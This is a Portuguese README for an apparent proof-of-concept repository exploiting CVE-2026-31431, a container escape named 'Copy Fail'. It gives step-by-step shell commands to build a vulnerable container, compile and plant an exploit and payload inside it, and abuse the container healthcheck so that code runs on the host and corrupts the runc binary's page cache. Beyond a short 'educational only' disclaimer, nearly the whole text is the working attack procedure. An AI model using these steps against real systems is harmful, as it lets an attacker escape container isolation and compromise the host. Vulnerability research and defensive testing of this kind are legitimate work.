CVE-2026-31431-Copy-Fail-Container-Escape

Demonstração

https://github.com/user-attachments/assets/2cb0cb67-789a-4461-a0b8-1fe878d9426e

Pré-requisitos

• Contêiner vulnerável ao CVE-2026-31431
• Healthcheck do contêiner configurado e comando do healthcheck conhecido
• Acesso root obtido dentro do contêiner (se não tiver, você pode simplesmente usar o Copy Fail para obtê-lo)

Neste repositório, o docker-compose.yml é fornecido para configurar um contêiner vulnerável. Você também pode usar qualquer outro contêiner vulnerável ou configurar o seu próprio, mas lembre-se de alterar o código do exploit de acordo.

Passos para explorar

# Na máquina host
rm -r copy-fail-c /tmp/pwned
docker-compose up -d
git clone https://github.com/tgies/copy-fail-c.git
cp payload.c copy-fail-c/
cd copy-fail-c && make && cp exploit ../ && cd ..
docker cp exp.sh copyfail:/tmp/
docker cp exploit copyfail:/tmp/
docker exec -it copyfail /bin/sh

# Dentro do contêiner copyfail
cd /tmp
chmod +x exp.sh exploit
./exp.sh

# Aguarde alguns minutos para o healthcheck ser executado
# e verifique se /tmp/pwned foi criado no host

# Na máquina host
ls /tmp/pwned

Quando o exploit for bem-sucedido, o pagecache do binário runc na máquina host fica corrompido. Você pode restaurá-lo executando echo 3 | sudo tee /proc/sys/vm/drop_caches no host.

Créditos

• https://copy.fail/
• https://github.com/tgies/copy-fail-c

Aviso legal

Este repositório é apenas para fins educacionais. Ele não deve ser usado para atividades maliciosas. O autor não é responsável por qualquer dano causado pelo uso indevido deste código. Use-o sempre em um ambiente controlado e legal.